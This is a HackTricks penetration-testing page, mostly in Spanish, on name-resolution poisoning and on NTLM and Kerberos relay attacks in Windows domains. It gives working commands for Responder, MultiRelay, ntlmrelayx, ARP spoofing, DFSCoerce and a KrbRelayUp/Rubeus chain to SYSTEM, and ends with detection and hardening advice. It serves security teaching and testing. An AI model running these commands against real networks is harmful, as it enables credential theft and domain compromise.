Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Protocolos de Red

Protocolos de resolución de nombres locales

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft y otros sistemas operativos usan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De forma similar, los sistemas Apple y Linux usan mDNS.
  • Estos protocolos son susceptibles de interceptación y suplantación debido a su naturaleza no autenticada y de difusión sobre UDP.
  • Responder y Dementor pueden usarse para suplantar servicios enviando respuestas forjadas a hosts que consultan estos protocolos.
  • Further information on service impersonation using Responder can be found here.

Protocolo Web de Auto-descubrimiento de Proxy (WPAD)

  • WPAD permite a los navegadores descubrir automáticamente la configuración de proxy.
  • El descubrimiento se facilita vía DHCP, DNS, o por fallback a LLMNR y NBT-NS si DNS falla.
  • Responder puede automatizar ataques WPAD, dirigiendo a los clientes hacia servidores WPAD maliciosos.

Responder/Dementor para envenenamiento de protocolos

  • Responder es una herramienta usada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.

  • Viene preinstalado en Kali Linux, configurable en /etc/responder/Responder.conf.

  • Responder muestra hashes capturados en pantalla y los guarda en el directorio /usr/share/responder/logs.

  • Soporta tanto IPv4 como IPv6.

  • Windows version of Responder is available here.

  • Dementor amplía los temas de envenenamiento multicast y actúa adicionalmente como proveedor de servicios malicioso (incluye soporte CUPS RCE).

  • La estructura general es similar a Responder con una configuración más granular. (por defecto está aquí: Dementor.toml)

  • La compatibilidad entre Dementor y Responder se muestra aquí: Compatibility Matrix

  • Intro y documentación aquí: Dementor - Docs

  • Corrige problemas de captura introducidos por Responder en ciertos protocolos

Ejecutando Responder

  • Para ejecutar Responder con la configuración por defecto: responder -I <Interface>
  • Para un sondeo más agresivo (con posibles efectos secundarios): responder -I <Interface> -P -r -v
  • Técnicas para capturar retos/respuestas NTLMv1 para facilitar el cracking: responder -I <Interface> --lm --disable-ess
  • La suplantación WPAD puede activarse con: responder -I <Interface> --wpad
  • Las solicitudes NetBIOS pueden resolverse a la IP del atacante, y se puede configurar un proxy de autenticación: responder.py -I <interface> -Pv

Ejecutando Dementor

  • Con la configuración por defecto aplicada: Dementor -I <interface>
  • Con la configuración por defecto en modo análisis: Dementor -I <interface> -A
  • Downgrade automático de sesión NTLM (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Ejecutar la sesión actual con configuración personalizada: Dementor -I <interface> --config <file.toml>

Envenenamiento DHCP con Responder

  • Suplantar respuestas DHCP puede envenenar de forma permanente la información de enrutamiento de la víctima, ofreciendo una alternativa más sigilosa al ARP poisoning.
  • Requiere conocimiento preciso de la configuración de la red objetivo.
  • Ejecutar el ataque: ./Responder.py -I eth0 -Pdv
  • Este método puede capturar eficazmente hashes NTLMv1/2, pero requiere manejo cuidadoso para evitar la interrupción de la red.

Captura de credenciales con Responder/Dementor

  • Responder/Dementor suplantará servicios usando los protocolos mencionados, capturando credenciales (normalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios suplantados.
  • Se pueden intentar downgrades a NetNTLMv1 o desactivar ESS para facilitar el cracking de credenciales.

Es crucial notar que el uso de estas técnicas debe hacerse de forma legal y ética, asegurando la debida autorización y evitando la interrupción o el acceso no autorizado.

Inveigh

Inveigh es una herramienta para penetration testers y red teamers, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando spoofing y ataques man-in-the-middle. La herramienta ha evolucionado de un script PowerShell a un binario en C#, con Inveigh y InveighZero como las versiones principales. Parámetros detallados e instrucciones pueden encontrarse en la wiki.

Inveigh puede operarse a través de PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O ejecutado como un binario C#:

Inveigh.exe

NTLM Relay Attack

Este ataque aprovecha sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los prerrequisitos clave incluyen:

  • El usuario que se autentica debe tener Local Admin access en el host al que se relaya.
  • SMB signing debe estar deshabilitado.

Redirección y tunelización del puerto 445

En escenarios donde la introducción directa en la red no es factible, el tráfico en el puerto 445 necesita ser redirigido y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando hay Local Admin access disponible para cargar drivers.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Otras herramientas para NTLM Relay Attack

  • Metasploit: Configurar con proxies, detalles de host local y remoto.
  • smbrelayx: Un script Python para relaying de sesiones SMB y ejecutar comandos o desplegar backdoors.
  • MultiRelay: Una herramienta de la suite Responder para relay de usuarios específicos o de todos los usuarios, ejecutar comandos o dump hashes.

Cada herramienta puede configurarse para operar a través de un SOCKS proxy si es necesario, permitiendo ataques incluso con acceso de red indirecto.

Operación de MultiRelay

MultiRelay se ejecuta desde el /usr/share/responder/tools directory, apuntando a IPs o usuarios específicos.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Estas herramientas y técnicas forman un conjunto completo para realizar NTLM Relay en diversos entornos de red.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

Los clientes WSUS se autentican con su servidor de actualizaciones usando NTLM sobre HTTP (8530) o HTTPS (8531). Cuando HTTP está habilitado, los check-ins periódicos de los clientes pueden ser forzados o interceptados en el segmento local y relayed con ntlmrelayx a endpoints LDAP/LDAPS/SMB o AD CS HTTP (ESC8) sin crakear ningún hash. Esto se mezcla con el tráfico normal de actualizaciones y con frecuencia da como resultado autenticaciones de cuentas de máquina (HOST$).

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Authenticated
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

  • Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.

Notes

  • WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
  • Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
  • Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPPrueba al usuario ante el KDCsin tocar
Service ticket / TGS-REQ ↔ REPVinculado a un SPN; encriptado con la clave del propietario del SPNintercambiable si los SPN comparten la cuenta
AP-REQEl cliente envía TGS al serviciolo que robamos y re-reproducimos
  • Tickets are encrypted with the password-derived key of the account that owns the SPN.
  • The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
  • Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for CIFS/HOST normally decrypts fine on LDAP/HOST.
    1. What must be true to relay Kerberos
  1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
  2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
  5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Iniciar el listener de relay

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp agrupa KrbRelay → LDAP → RBCD → Rubeus → SCM bypass en un solo binario.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce hace que el DC nos envíe un ticket Kerberos CIFS/DC01.

  • 3.4 Relay the AP-REQ

KrbRelay extrae el GSS blob de SMB, lo reempaqueta en un bind LDAP y lo reenvía a ldap://DC01—la autenticación tiene éxito porque la misma clave lo descifra.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Más rutas que vale la pena conocer

VectorTrickWhy it matters
AuthIP / IPSecFake server sends a GSS-ID payload with any SPN; client builds an AP-REQ straight to youWorks even across subnets; machine creds by default
DCOM / MSRPCMalicious OXID resolver forces client to auth to arbitrary SPN and portPure local priv-esc; sidesteps firewall
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsBypasses LDAP signing defenses
Shadow CredentialsWrite msDS-KeyCredentialLink, then PKINIT with forged key pairNo need to add a computer account

Solución de problemas

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyWrong host/SPN
KRB_AP_ERR_SKEWClock > 5 min offsetSync time or use w32tm
LDAP bind failsSigning enforcedUse AD CS path or disable signing
Event 4649 spamService saw duplicate Authenticatorblock or race original packet

Detección

  • Surge in Event 4769 for CIFS/, HTTP/, LDAP/ from the same source within seconds.
  • Event 4649 on the service indicates replay detected.
  • Kerberos logon from 127.0.0.1 (relay to local SCM) is highly suspicious—map via Sigma rule in KrbRelayUp docs.
  • Watch changes to msDS-AllowedToActOnBehalfOfOtherIdentity or msDS-KeyCredentialLink attributes.

Endurecimiento

  1. Exigir LDAP & SMB signing + EPA en cada servidor.
  2. Separar SPNs para que HTTP no esté en la misma cuenta que CIFS/LDAP.
  3. Parchear vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
  4. Establecer ms-DS-MachineAccountQuota = 0 para evitar uniones de equipos maliciosos.
  5. Alertar sobre Event 4649 y inicios de sesión Kerberos por loopback inesperados.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks